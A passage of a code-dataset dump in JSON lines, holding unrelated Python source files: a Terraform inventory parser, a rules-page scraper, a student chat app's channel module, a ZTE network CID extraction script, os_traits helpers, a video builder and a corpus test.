if suffix == \".tfstate\":\n yield os.path.join(dir_path, name)\n\ndef build_resource_iter_from_files(file_names):\n for file_name in file_names:\n with open(file_name, 'r') as json_file:\n state = json.load(json_file)\n return build_resource_iter(state)\n\ndef build_resource_iter(state):\n for mod in state[\"modules\"]:\n name = mod[\"path\"][-1]\n print(name)\n for key, resource in mod[\"resources\"].items():\n yield name, key, resource\n\ndef resource_parser_iter(resources):\n for module_name, key, resource in resources:\n resource_type, name = key.split('.', 1)\n if resource_type == \"exoscale_compute\":\n parse_exoscale_resource(resource)\n # yield parse_exoscale_resource(resource)\n\ndef parse_exoscale_resource(resource):\n resource_attributes = resource[\"primary\"][\"attributes\"]\n name = resource_attributes.get(\"name\")\n print(name)\n print(resource_attributes[\"ip_address\"])\n print(resource_attributes)\n # meta_data = parse_dict(resource_attributes, \"metadata\")\n #groups = ['etcd', 'master', 'node']\n #attrs = {\n # 'metadata': meta_data,\n # 'ansible_ssh_port': meta_data.get('ssh_port', 22),\n # 'ansible_ssh_user': meta_data.get('ssh_user', 'root'),\n # 'ansible_ssh_host': resource_attributes['ip_address'],\n # 'ip4address' : resource_attributes['ip_address'],\n # 'provider': 'exoscale',\n #}\n#\n #role = 'none'\n#\n #if 'kube-role' in meta_data:\n # role = meta_data.get('kube-role')\n #else:\n # for group in groups:\n # if group in name:\n # role = group\n#\n #attrs.update({\n # 'kube_role': role\n #})\n#\n #return name, attrs\n\ndef main():\n resource_parser_iter(build_resource_iter_from_files(find_state_files()))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"BostjanBozic/exoscale-cookbooks","sub_path":"kubernetes/tools/generate_inventory.py","file_name":"generate_inventory.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"70209626929","text":"import requests\nfrom markdownify import markdownify\nfrom bs4 import BeautifulSoup\nimport re\n\nPG_URL = \"https://fabtcg.com/resources/rules-and-policy-center/penalty-guidelines/\"\nr = requests.get(PG_URL)\nr.raise_for_status()\n\nsoup = BeautifulSoup(r.content, 'html.parser')\ncontent = soup.find('div', class_='page-content')\nmd = markdownify(str(content))\n\n# Fix section headers\nmd = re.sub(r'^(\\d\\. .+?)\\n=+\\n',\n r'## \\1\\n',\n md,\n flags=re.M,\n)\nmd = re.sub(r'#(#+)', r'\\1', md)\nmd = re.sub(r'^(#+)\\s+\\*+(.+?)\\*+',\n r'\\1 \\2',\n md,\n flags=re.M,\n)\n\n# Create section anchor links\nmd = re.sub(r'^(#+) (\\d[.\\d\\w]*?)\\.? (.+?)$',\n r'\\1 \\2 \\3 #',\n md,\n flags=re.M,\n)\n\n# Fix extra whitespace in tables\nmd = re.sub(r'\\|\\s{2,}(.+?)\\s+(?=\\|)',\n r'| \\1 ',\n md,\n flags=0,\n)\n\n# No newlines in links\nmd = re.sub(r'\\n(?=[^\\[]+\\])', '', md)\n\n# Weird CSS stuff\nmd = re.sub(r'^\\s*\\..+?\\{.+?\\}\\s*$', '', md, flags=re.S|re.M)\n\n# Collapse whitespace\nmd = re.sub(r'[ \\t]+', ' ', md)\nmd = re.sub(r'\\n\\n+', '\\n\\n', md)\n\n# Should be a link to fabtcg\nmd = re.sub(r'(\\[.+?\\]\\()(\\/.+?\\))',\n r'\\1https://fabtcg.com\\2',\n md,\n flags=0,\n)\n\nwith open('pg.md', 'w') as f:\n f.write(f\"Flesh and Blood Procedure and Penalty Guidelines, courtesy of Legend Story Studios.\\n\\n\")\n f.write(f\"Original available at [{PG_URL}]({PG_URL})\\n\\n\")\n f.write(md)\n","repo_name":"dcollinsn/fab-docs","sub_path":"pg.py","file_name":"pg.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"37199378146","text":"\"\"\"\nAuthors:\n Alec Dudley-Bestow, z5260201\n Dionne So, z5310329\n Justin Wu, z5316037\n William Zheng, z5313015\n\nDate:\n 01 March 2021\n\"\"\"\n\nfrom src.error import InputError, AccessError\nfrom src.auth import get_data, write_data, check_token, check_u_id\nfrom src.user import user_profile, get_user_dictionary\nimport jwt\n\nSECRET = 'atotallysecuresecret'\n\ndef notify_user(u_id, channel_id, notification_message):\n data = get_data()\n channel_index = get_channel_index(channel_id)\n notification = {\n 'channel_id' : -1 if data['channels'][channel_index]['is_dm'] else channel_id,\n 'dm_id' : channel_id if data['channels'][channel_index]['is_dm'] else -1,\n 'notification_message' : notification_message\n }\n data['users'][check_u_id(u_id)]['notifications'].insert(0, notification)\n write_data(data)\n\ndef generate_addedChannel_notification(u_id, token, channel_name):\n data = get_data()\n handle_string = data['users'][check_token(token)]['handle_str']\n return f\"{handle_string} added you to {channel_name}\"\n\n\n\ndef channel_invite(token, channel_id, u_id):\n \"\"\"\n Invites a user (with user id u_id) to join a channel with ID channel_id.\n Once invited the user is added to the channel immediately.\n\n Arguments:\n token(string): Id of user in a certain session.\n channel_id (int): Id to the channel u_id is being invited to.\n u_id (int): Id of user to be invited.\n\n Exceptions:\n InputError - Invalid auth_user_id or u_id or channel_id.\n InputError - User being invited is already a channel member.\n AccessError - When auth_user is not a member of the channel.\nc\n Return Value:\n None\n \"\"\"\n data = get_data()\n # Decode token to get the u_id\n token_structure = jwt.decode(token, SECRET, algorithms=['HS256'])\n auth_user_id = token_structure['u_id']\n\n # Check if auth_user_id and/or u_id exists in the database.\n check_token(token)\n check_u_id(u_id)\n\n # Check if channel_id exists.\n if not channel_id_valid(channel_id, data['channels']):\n raise InputError(description=\"Invalid channel id!\")\n\n # Authorised user is not a member of the channel\n is_auth_a_member = member_check(auth_user_id, channel_id, data['channels'])\n if not is_auth_a_member:\n raise AccessError(description=\"Auth user is not a member of the channel!\")\n\n # Check if u_id is already a member of the channel\n is_user_a_member = member_check(u_id, channel_id, data['channels'])\n if is_user_a_member:\n raise InputError(description=\"User has already been added!\")\n\n channel_name = 'None' #Only for testing get_notification\n # Go to the channel corresponding to channel_id.\n channel_name = 'None'\n for valid_channel in data['channels']:\n if valid_channel['channel_id'] == channel_id:\n channel_name = valid_channel['channel_name']\n # Add user details to the all_members key.\n valid_channel['all_members'].append({'u_id': u_id})\n write_data(data)\n notify_user(u_id, channel_id, \\\n generate_addedChannel_notification(u_id, token, channel_name))\n return {}\n\ndef check_channel_id(channel_id):\n '''\n Validates whether or not a given channel exists in the database.\n\n Arguments:\n channel_id (int): id of channel being validated.\n channels (list): list of dictionaries, with each dict containing channel info.\n\n Return value:\n i (int): index of channel \n '''\n data = get_data()\n for i, channel in enumerate(data['channels']):\n if channel['channel_id'] == channel_id:\n return i\n raise InputError(description='Channel ID not valid')\n\n\ndef channel_details(token, channel_id):\n '''\n Given a token and channel ID, checks both are valid and if user has access, \n then returns channel details\n\n Arguments:\n token (str) - session specific user ID\n channel_id (int) - ID of channel user is requesting details of\n\n Exceptions:\n InputError - Occurs when channel ID is not a valid ID\n AccessError - Occurs when token is invalid or when user does not have permissions\n required for accessing channel\n \n Returns:\n Returns (dict) on valid user_id, channel_id and permissions which contains: \n channel name (str), owner_members (list) and all_members (list).\n The member lists contain dictionaries of: user IDs and first and last names\n '''\n\n user_index = check_token(token)\n\n data = get_data()\n\n try:\n check_u_id(data['users'][user_index]['u_id'])\n except InputError:\n raise AccessError(description='User ID is not valid')\n\n channel_index = check_channel_id(channel_id)\n\n check_is_member(data['users'][user_index]['u_id'], data['channels'][channel_index]['all_members'])\n\n return get_channel_details(data['channels'][channel_index])\n\ndef channel_messages(token, channel_id, start):\n '''\n Index the list of channels in data and return the messages from the start index to \n the end as well as a new end\n\n Arguments:\n token (str) - session specific user ID\n channel_id (int) - ID of channel of which messages are requested\n\n Exceptions:\n InputError - Occurs when channel ID is not a valid ID\n AccessError - Occurs when token is not valid or when user is not a \n member of the specified channel\n\n Returns:\n Returns (dict) which contains the messages, the starting index and the end index\n '''\n \n user_index = check_token(token)\n\n data = get_data()\n\n # check user is not a removed user\n try:\n check_u_id(data['users'][user_index]['u_id'])\n except InputError:\n raise AccessError(description='User ID is not valid')\n\n channel_index = check_channel_id(channel_id)\n\n check_is_member(data['users'][user_index]['u_id'], data['channels'][channel_index]['all_members'])\n \n num_messages= len(data['channels'][channel_index]['messages'])\n if start > num_messages:\n raise InputError('Start is greater than the total number of messages in the channel')\n \n end = start + 50 \n if end > num_messages:\n end = -1\n \n channel_messages = []\n \n if end == -1:\n for message in data['channels'][channel_index]['messages'][-start - 1::-1]:\n channel_messages.append(message)\n else:\n for message in data['channels'][channel_index]['messages'][-start - 1:-end - 1:-1]:\n channel_messages.append(message)\n \n return {'messages' : channel_messages, 'start' : start, 'end' : end}\n\n\ndef channel_leave(auth_user_id, channel_id):\n ''' \n Given a channel ID, the user removed as a member of this channel. Their \n messages should remain in the channel.\n\n Arguments:\n token - Token for auth user\n channel_id - Channel identification \n\n Exceptions:\n InputError - \n AccessError - \n\n Returns:\n None\n '''\n if channel_is_valid(channel_id) == False:\n raise InputError(\"Invalid channel_id\") \n\n if user_is_member(token, channel_id) == False:\n raise AccessError(\"Auth user is not a member\")\n\n data = get_data()\n user_index = check_token(token)\n \n for channel in data['channels']:\n if channel['channel_id'] == channel_id:\n channel['all_members'].remove(user_profile(token, data['users'][user_index]['u_id'])) \n\n write_data(data)\n return {}\n\n\ndef channel_join(token, channel_id):\n '''\n Given a user ID and channel ID, check if both are valid and whether the user has appropriate\n permissions (i.e. is a member of channel or a global owner). If they do, add the member to the channel\n \n Arguments:\n auth_user_id (int): ID of user trying to join channel\n channel_id (int): ID of channel user is trying to join\n\n Exceptions:\n InputError - Occurs when channel ID is not a valid ID\n AccessError - Occurs when user ID is not authorised or when user does not have the required \n permissions to join the channel (i.e. channel is not public and user is not global)\n\n Returns:\n None\n '''\n user_index = check_token(token)\n\n data = get_data()\n\n # check user is not a removed user\n try:\n check_u_id(data['users'][user_index]['u_id'])\n except InputError:\n raise AccessError(description='User ID is not valid')\n\n channel_index = check_channel_id(channel_id)\n\n try:\n check_is_member(data['users'][user_index]['u_id'], data['channels'][channel_index]['all_members'])\n raise InputError(description='User is already a member of channel')\n except AccessError:\n if not data['channels'][channel_index]['is_public']:\n check_global_owner(data['users'][user_index]['permission_id'])\n details = get_user_dictionary(data['users'][user_index])\n data['channels'][channel_index]['all_members'].append(details)\n write_data(data)\n return {}\n\ndef channel_addowner(token, channel_id, u_id):\n ''' Add user with user id u_id as an owner of channel with channel id channel_id\n\n Arguments:\n token - Token for auth user\n channel_id - Channel identification \n u_id - User identification of the user being added to channel\n \n Exceptions:\n InputError - Invalid channel id\n InputError - User is already an owner of the channel\n AccessError - Auth user is not an owner of Dreams or this channel\n\n Returns:\n None\n '''\n data = get_data()\n\n user_index = check_token(token)\n\n if channel_is_valid(channel_id) == False:\n raise InputError(\"Invalid channel_id\")\n\n if user_is_owner_uid(u_id, channel_id) == True:\n raise InputError(\"User is already an owner of the channel\")\n\n if user_is_owner_token(token, channel_id) == False:\n raise AccessError(\"Auth is not owner of Dreams or this channel\")\n \n # Append user id to the owner list\n for channel in data['channels']:\n if channel['channel_id'] == channel_id:\n channel['owner_members'].append(user_profile(token, u_id)) \n \n write_data(data)\n\n return {}\n\n\ndef channel_removeowner(token, channel_id, u_id):\n ''' Remove user with user id u_id as an owner of channel with channel id channel_id\n\n Arguments:\n token - Token for auth user\n channel_id - Channel identification \n u_id - User identification of the user being removed from channel\n\n Exceptions:\n InputError - Invalid channel id\n InputError - User is already an owner of the channel\n InputError - User is the only owner of the channel\n AccessError - Auth user is not an owner of Dreams or this channel\n\n Returns:\n None\n '''\n data = get_data()\n \n for i, channel in enumerate(data['channels']):\n if channel['channel_id'] == channel_id:\n channel['owner_members'].remove(user_profile(token, u_id)) \n\n write_data(data)\n\n return {}\n\n#------------------------------------------------------------------------------------#\n#------------------------------- Helper functions -----------------------------------#\n#------------------------------------------------------------------------------------#\n\ndef channel_id_valid(channel_id, channels):\n \"\"\"\n Validates whether or not a given channel exists in the database.\n\n Arguments:\n channel_id: id of channel being validated.\n channels: list of dictionaries, with each dict containing channel info.\n\n Return value:\n (bool): Whether or not channel_id could be found.\n \"\"\"\n for valid_channel in channels:\n if channel_id == valid_channel['channel_id']:\n return True\n return False\n\ndef user_is_member(user_id, channel):\n \"\"\"\n Given a list of channel members, loop through and return true if user is a member \n and false otherwise\n \"\"\"\n for member in channel['all_members']:\n if user_id == member['u_id']:\n return True\n return False\n\ndef get_channel_details(channel):\n \"\"\"\n Get channel details of a given channel ID\n\n Arguments:\n channel_id (int): ID of channel user is requesting details of\n\n Exceptions:\n None\n\n Returns:\n Returns details (dictionary) containing name of channel, whether\n it is public and list of owner members and a list of all members\n \"\"\"\n details = {\n 'channel_name' : channel['channel_name'],\n 'is_public' : channel['is_public'],\n 'owner_members' : get_member_details(channel['owner_members']),\n 'all_members' : get_member_details(channel['all_members']),\n }\n return details\n\ndef get_member_details(member_list):\n \"\"\"\n Gives details of members of a channel\n\n Arguments:\n member_list (list): a list of members in a channel\n\n Exceptions:\n None\n\n Returns:\n Returns details (list) on \n \"\"\"\n data = get_data()\n details = []\n\n for member in member_list:\n details.append(get_user_details(member['u_id'], data['users']))\n write_data(data)\n return details\n\n\ndef get_channel_index(channel_id):\n \"\"\"\n Index the list of channels in data and return the index of the given channel\n\n Arguments:\n channel_id (int): ID of channel being searched for\n\n Exceptions:\n None\n\n Returns:\n Returns i (int) which is the index of the given channel\n \"\"\"\n data = get_data()\n i = 0\n for channel in data['channels']:\n if channel['channel_id'] == channel_id:\n return i\n i += 1\n \ndef member_check(user_id, channel_id, channels):\n \"\"\"\n Validates whether or not a given user is a part of a given channel.\n\n Parameters:\n user_id: id of user being validated.\n channel_id: id of channel being validated.\n channels: list of dictionaries, with each dict containing channel info.\n\n Returns:\n (bool): Whether or not user could be found in the given channel.\n \"\"\"\n for valid_channel in channels:\n if valid_channel['channel_id'] == channel_id:\n # Check if auth_user is a part of members\n for members in valid_channel['all_members']:\n if members['u_id'] == user_id:\n return True\n return False\n\ndef user_is_global(auth_user_id):\n \"\"\"\n Return True if auth user ID is that of a global user or False otherwise\n \"\"\"\n if auth_user_id == 10000:\n return True\n else:\n return False\n\ndef channel_public(channel_id):\n \"\"\"\n Given a valid channel ID, return True if it is public or False otherwise\n \"\"\"\n data = get_data()\n i = 0\n for channel in data['channels']:\n if channel['channel_id'] == channel_id:\n return i\n i += 1\n\ndef get_user_details(auth_user_id, users):\n \"\"\"\n Given a valid user and list of members, loop through users and return user details\n\n Arguments:\n auth_user_id (int): ID of user being searched for\n users (list): list of dictionaries containing user details\n\n Exceptions:\n None\n\n Returns:\n Return details (dictionary) containing user ID and first and last names\n \"\"\"\n details = {\n 'u_id' : auth_user_id\n }\n return details\n\ndef user_id_valid(user_id, users):\n for valid_user in users:\n if valid_user['u_id'] == user_id:\n return True\n return False\n\ndef check_is_member(user_id, members):\n '''\n Validates whether or not a given user is a part of a given channel.\n\n Parameters:\n user_id (int): ID of user being validated.\n members (list): list of dictionaries containing user details of members of channel\n\n Returns:\n (bool): True is user is member of channel\n '''\n for member in members:\n if member['u_id'] == user_id:\n return True\n raise AccessError(description='User is not member of channel')\n\ndef check_channel_id(channel_id):\n '''\n Validates whether or not a given channel exists in the database.\n\n Arguments:\n channel_id (int): id of channel being validated.\n channels (list): list of dictionaries, with each dict containing channel info.\n\n Return value:\n i (int): index of channel \n '''\n data = get_data()\n for i, channel in enumerate(data['channels']):\n if channel['channel_id'] == channel_id:\n return i\n raise InputError(description='Channel ID not valid')\n\ndef user_is_owner_token(token, channel_id):\n ''' Checks if auth user is an owner of a channel given a \n channel id and token. \n\n Arguments:\n token - Token for auth user\n channel_id - Channel identification \n\n Returns:\n True if auth is an owner, false otherwise.\n '''\n\n user_index = check_token(token)\n data = get_data()\n for channel in data['channels']:\n if channel['channel_id'] == channel_id:\n for owner in channel['owner_members']:\n if owner['u_id'] == data['users'][user_index]['u_id']:\n return True\n return False\n\ndef user_is_owner_token(token, channel_id):\n ''' Checks if auth user is an owner of a channel given a \n channel id and token. \n\n Arguments:\n token - Token for auth user\n channel_id - Channel identification \n\n Returns:\n True if auth is an owner, false otherwise.\n '''\n\n user_index = check_token(token)\n data = get_data()\n for channel in data['channels']:\n if channel['channel_id'] == channel_id:\n for owner in channel['owner_members']:\n if owner['u_id'] == data['users'][user_index]['u_id']:\n return True\n return False\n\ndef user_is_owner_uid(u_id, channel_id):\n ''' Checks if user is an owner of a channel given a \n channel id and user id. \n \n Arguments:\n u_id - user id for auth user\n channel_id - Channel identification \n\n Returns:\n True if user is an owner, false otherwise.\n '''\n \n data = get_data()\n for channel in data['channels']:\n if channel['channel_id'] == channel_id:\n for owner in channel['owner_members']:\n if owner['u_id'] == u_id:\n return True\n return False\n\ndef channel_is_valid(channel_id):\n ''' Checks weather a channel is valid given a channel id. \n\n Arguments:\n channel_id - Channel identification.\n\n Returns:\n Returns True if a channel is found in the data, False otherwise. \n '''\n\n data = get_data()\n for channel in data['channels']:\n if channel['channel_id'] == channel_id:\n return True\n return False\n\ndef num_owners(token, channel_id):\n ''' Given a token and channel id, counts the number of owners for \n a channel.\n\n Arguments:\n u_id - user id for auth user\n channel_id - Channel identification \n\n Returns:\n Returns an integer value for the number of owners for a channel.\n '''\n\n user_index = check_token(token)\n data = get_data()\n num_owners = 0\n for channel in data['channels']:\n if channel['channel_id'] == channel_id:\n for owner in channel['owner_members']:\n num_owners += 1\n return num_owners\n\ndef check_global_owner(permission_id):\n '''\n Check if user has permission ID 1 which indicates global owner\n '''\n if permission_id == 1:\n return True\n raise AccessError(description='User does not have access to a private channel')\n\n","repo_name":"Jwu44/UNSW-Dreams","sub_path":"src/channel.py","file_name":"channel.py","file_ext":"py","file_size_in_byte":19650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"33644583587","text":"\"\"\"\n PartNLP\n AUTHORS:\n MOSTAFA & SAMAN\n\"\"\"\nfrom dataclasses import dataclass\n\n\n@dataclass\nclass Color:\n \"\"\"\n Colors\n \"\"\"\n header, blue = '\\033[95m', '\\033[94m'\n green, yellow = '\\033[92m', '\\033[93m'\n fail, endc, bold = '\\033[91m', '\\033[0m', '\\033[1m',\n black = '\\033[90m'\n","repo_name":"partdpai/PartNLP","sub_path":"PartNLP/models/helper/color.py","file_name":"color.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"20"} +{"seq_id":"6225798256","text":"# -*- coding: utf-8 -*-\nimport os\nimport pandas as pd\nimport datetime\nstart_time=datetime.datetime.now() # 开始计时\nprint('运行开始时间:',start_time)\n# 输入路径\nos.chdir(r'C:\\Users\\yc\\Desktop\\网管CID')\n# 输出路径 output_path\ndate_name=str(datetime.date.today())\noutput_path='./output'\nif not os.path.exists(output_path):\n os.makedirs(output_path)\n# 读取原始数据\nzxvlan1=pd.read_csv('a.csv',encoding='gbk')\nzxvlan2=pd.read_csv('b.csv',encoding='gbk')\nzxvlan3=pd.read_csv('c.csv',encoding='gbk')\nzxvlan4=pd.read_csv('d.csv',encoding='gbk')\nzxvlan5=pd.read_csv('e.csv',encoding='gbk')\nzxvlan6=pd.read_csv('f.csv',encoding='gbk')\nzxvlan_df=pd.concat([zxvlan1,zxvlan2,zxvlan3,zxvlan4,zxvlan5,zxvlan6])\nm=[]\nfor i in range(1,13):\n zxonu_slice=pd.read_excel('{}.xls'.format(str(i)))\n m.append(zxonu_slice)\nzxonu_df=pd.concat(m)\nprint('读取数据完毕,时间:',datetime.datetime.now())\n# 中兴ONU认证值转换\ndef zx_reg_transform(strin):\n strin=strin.replace('/ztepon','').replace('/1111','').replace('-','')\n return ('0'*(24-len(strin))+strin).upper() \n# 中兴网管onu数据处理\nzxonu_df.rename(columns={'ONU索引':'ontid','名称':'onu_name'},inplace=True)\nzxonu_df['pon']=zxonu_df['网元名']+'_框:'+zxonu_df['机框'].map(str)+'/槽:'+\\\n zxonu_df['槽位'].map(str)+'/端口:'+zxonu_df['端口'].map(str)\nzxonu_df['mark']=zxonu_df['pon']+'/ONTID:'+zxonu_df['ontid'].map(str)\nzxonu_df['cid']=zxonu_df['网元IP']+'/'+zxonu_df['机架'].map(str)+'/'+\\\n zxonu_df['机框'].map(str)+'/'+zxonu_df['槽位'].map(str)+\\\n '/0/'+zxonu_df['端口'].map(str)+'/'+zxonu_df['认证值'].map(zx_reg_transform)\nnew_zxonu_df=zxonu_df[['mark','onu_name','pon','ontid','cid']]\n# 中兴网管vlan数据处理\nzxvlan_df['mark']=zxvlan_df['网元名及类型']+'_框:'+zxvlan_df['机框'].map(str)+'/槽:'\\\n +zxvlan_df['槽位'].map(str)+'/端口:'+zxvlan_df['端口'].map(str)+'/ONTID:'\\\n +zxvlan_df['ONU ID'].map(str)\nzxvlan_df.rename(columns={'用户VLAN':'uservlan','C-VID':'cvlan','S-VID':'svlan'},inplace=True)\nnew_zxvlan_df=zxvlan_df[['mark','svlan','cvlan','uservlan']]\n# 数据拼接\n# 数据匹配\nnew_zxvlan_df['uservlan']=new_zxvlan_df['uservlan'].astype(str)\nfiltered_vlan_df=new_zxvlan_df[(new_zxvlan_df['uservlan']!='46') & (new_zxvlan_df['uservlan']!='47')]\nnet_management_cid=pd.merge(new_zxonu_df,filtered_vlan_df,how='left',on='mark')\nnet_management_cid.to_csv(os.path.join(output_path,'中兴网管CID-{}.csv'.format(date_name)),index=False)\n# 计算处理时长\nend_time=datetime.datetime.now()\nprint('运行结束时间:',end_time)\nprint('共计运行时间:',end_time-start_time)\n","repo_name":"ycchenwen/CID","sub_path":"提取中兴网管CID.py","file_name":"提取中兴网管CID.py","file_ext":"py","file_size_in_byte":2746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"10967636107","text":"from argparse import ArgumentParser\nfrom configparser import ConfigParser\n\n\ndef config_from_cmdline():\n config = {}\n\n parser = ArgumentParser()\n parser.add_argument('-a', '--addr', type=str, default='127.0.0.1')\n parser.add_argument('-p', '--port', type=int, default=5000)\n parser.add_argument('-i', '--intv', type=float, default=0) # seconds\n parser.add_argument('-t', '--testbed', type=str, required=True)\n parser.add_argument('-r', '--rpc', type=str, default='analyze')\n parser.add_argument('-g', '--args', type=str, default='all')\n\n args = parser.parse_args()\n config['addr'] = args.addr\n config['port'] = args.port\n config['intv'] = args.intv\n config['testbed'] = args.testbed\n config['rpc'] = args.rpc\n config['args'] = args.args.split(',')\n\n return config\n\ndef configure_from_file(file: 'str'):\n config = {}\n\n conf = ConfigParser()\n\n conf.read(file)\n \n config['addr'] = conf['rpc_client']['api_addr']\n config['port'] = conf['rpc_client']['api_port']\n\n return config\n","repo_name":"Kyoto-01/testbed-tsch-rpc-client","sub_path":"src/utils/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"73198367728","text":"# -*- coding: utf-8 -*-\n\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport sys\n\nimport pbr.version\nimport six\n\n__version__ = pbr.version.VersionInfo(\n 'os_traits').version_string()\n\n# Conveniently import all the constants into the main module \"namespace\"\nfrom os_traits.const import *\n\n\ndef get_symbol_names(prefix=None):\n \"\"\"\n Returns the names of symbols of trait strings in the os_traits module,\n optionally filtered by a supplied prefix.\n\n :param prefix: Optional string prefix to filter by. e.g. 'hw:'\n \"\"\"\n excluded_keys = ('NAMESPACES',)\n excluded_values = NAMESPACES.values()\n\n return [\n k for k, v in sys.modules[__name__].__dict__.items()\n if isinstance(v, six.string_types) and\n not k.startswith('_') and\n k not in excluded_keys and\n v not in excluded_values and\n (prefix is None or v.startswith(prefix))\n ]\n\n\ndef get_traits(prefix=None):\n \"\"\"\n Returns the trait strings in the os_traits module, optionally\n filtered by a supplied prefix.\n\n :param prefix: Optional string prefix to filter by. e.g. 'hw:'\n \"\"\"\n excluded_keys = ('NAMESPACES',)\n excluded_values = NAMESPACES.values()\n\n return [\n v for k, v in sys.modules[__name__].__dict__.items()\n if isinstance(v, six.string_types) and\n not k.startswith('_') and\n k not in excluded_keys and\n v not in excluded_values and\n (prefix is None or v.startswith(prefix))\n ]\n\n\ndef check_traits(traits):\n \"\"\"\n Returns a tuple of two trait string sets, the first set contains valid\n traits, and the second contains others.\n\n :param traits: An iterable contains trait strings.\n \"\"\"\n trait_set = set(traits)\n valid_trait_set = set(get_traits())\n\n valid_traits = trait_set & valid_trait_set\n\n return (valid_traits, trait_set - valid_traits)\n","repo_name":"jaypipes/os-traits","sub_path":"os_traits/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"9292336387","text":"import os\nimport sys\n\nimport util as u\nimport video_util as vu\nfrom moviepy.editor import (AudioFileClip, CompositeAudioClip, ImageClip,\n VideoFileClip, concatenate_audioclips,\n concatenate_videoclips)\n\nconfig = u.load_config()\nconsts = u.load_consts()\ntimekeeper = u.load_timekeeper()\n\n\ncft = consts['cross_fade_time']\nci = config['chapter_interval'] / 2 if 'chapter_interval' in config else consts['chapter_interval'] / 2\nvi = consts['voice_interval']\nbg = u.hex_to_rgb(consts['background_color'])\nend_adj_time = 0.1 # エンドカードをくっつけるときに原因不明で「clips[i].get_frame(t - tt[i]) list index out of range」が出るのを回避するために適当に足す\n\n\ndef build_cover_clip(part_id, parts_len):\n audio_clips = [\n vu.silence_clip(ci),\n AudioFileClip('voices/channel.mp3'), vu.silence_clip(vi),\n AudioFileClip('voices/title.mp3'), vu.silence_clip(vi),\n ]\n if parts_len > 1:\n audio_clips.append(AudioFileClip(f'voices/part{part_id:0>5}.mp3'))\n audio_clips.append(vu.silence_clip(ci))\n\n audio_clip = concatenate_audioclips(audio_clips)\n clip = ImageClip(f'cover_images/{part_id:0>5}.png') \\\n .set_duration(audio_clip.duration) \\\n .fadeout(cft, bg) \\\n .set_audio(audio_clip)\n return clip\n\n\ndef build_end_clip(kind):\n audio_clip = concatenate_audioclips([\n vu.silence_clip(ci),\n AudioFileClip(f'voices/{kind}.mp3'), vu.silence_clip(vi),\n AudioFileClip('voices/please.mp3'),\n ])\n clip = ImageClip(f'cover_images/{kind}.png') \\\n .set_duration(audio_clip.duration + end_adj_time) \\\n .fadein(cft, bg).set_audio(audio_clip)\n return clip\n\n\ndef main(part_id):\n os.makedirs('part_movies', exist_ok=True)\n\n parts = timekeeper['parts']\n part = parts[part_id]\n\n os.makedirs(f'part_movies/{part_id:0>5}', exist_ok=True)\n video_clips = [build_cover_clip(part_id, len(parts))]\n for chapter in part['chapters']:\n video_clips.append(VideoFileClip(chapter['movie_path']).fadein(cft, bg).fadeout(cft, bg))\n video_clips.append(build_end_clip('next' if part_id < len(parts) - 1 else 'end'))\n video_clip = concatenate_videoclips(video_clips)\n\n if 'music' in config:\n music_clip = AudioFileClip('music.mp3') \\\n .audio_loop(duration=video_clip.duration) \\\n .audio_fadeout(duration=consts['music_fadeout_time']) \\\n .volumex(consts['music_volume'])\n audio_clip = CompositeAudioClip([video_clip.audio, music_clip])\n else:\n audio_clip = CompositeAudioClip([video_clip.audio])\n video_clip = video_clip.set_audio(audio_clip)\n vu.write_video(f'part_movies/{part_id:0>5}/movie.mp4', video_clip)\n\n\nif __name__ == '__main__':\n main(int(sys.argv[1]))\n","repo_name":"mcre/listening-paperback","sub_path":"src/build_part_movie.py","file_name":"build_part_movie.py","file_ext":"py","file_size_in_byte":2824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"18966076638","text":"from .. import skip_tests\nfrom bbcprc.data.corpus import Corpus\nfrom bbcprc.data.samples import SAMPLES\nimport random\nimport unittest\nimport wave\n\nFILE_COUNT = 5\n\n\ndef _get_wave_frames(fp, index, nframes):\n fp.setpos(index)\n frame = fp.readframes(nframes)\n return list((frame + frame) if fp.getnchannels() == 1 else frame)\n\n\ndef _samples_to_byte_list(sample):\n left, right = ((i if i >= 0 else 0x10000 + i) for i in sample)\n lhi, llo, rhi, rlo = divmod(left, 0x100) + divmod(right, 0x100)\n return [llo, lhi, rlo, rhi]\n\n\nclass CorpusTest(unittest.TestCase):\n @skip_tests.no_source\n @skip_tests.no_corpus\n def test_first(self):\n with wave.open(Corpus.filenames[0]) as fp:\n frame = _get_wave_frames(fp, 0, 1)\n sample = _samples_to_byte_list(SAMPLES[0][0])\n self.assertEqual(frame, sample)\n\n @skip_tests.no_source\n @skip_tests.no_corpus\n def test_files(self):\n for i in random.sample(range(len(Corpus.filenames)), FILE_COUNT):\n self.assert_file(i)\n\n def assert_file(self, i):\n samples = SAMPLES[i]\n with wave.open(Corpus.filenames[i]) as fp:\n self.assertEqual(fp.getnframes(), len(samples))\n j = random.randrange(len(samples))\n frame = _get_wave_frames(fp, j, 1)\n self.assertEqual(frame, _samples_to_byte_list(samples[j]))\n","repo_name":"rec/bbcprc","sub_path":"test/bbcprc/data/corpus_test.py","file_name":"corpus_test.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"9069402546","text":"import pandas as pd\nimport numpy as 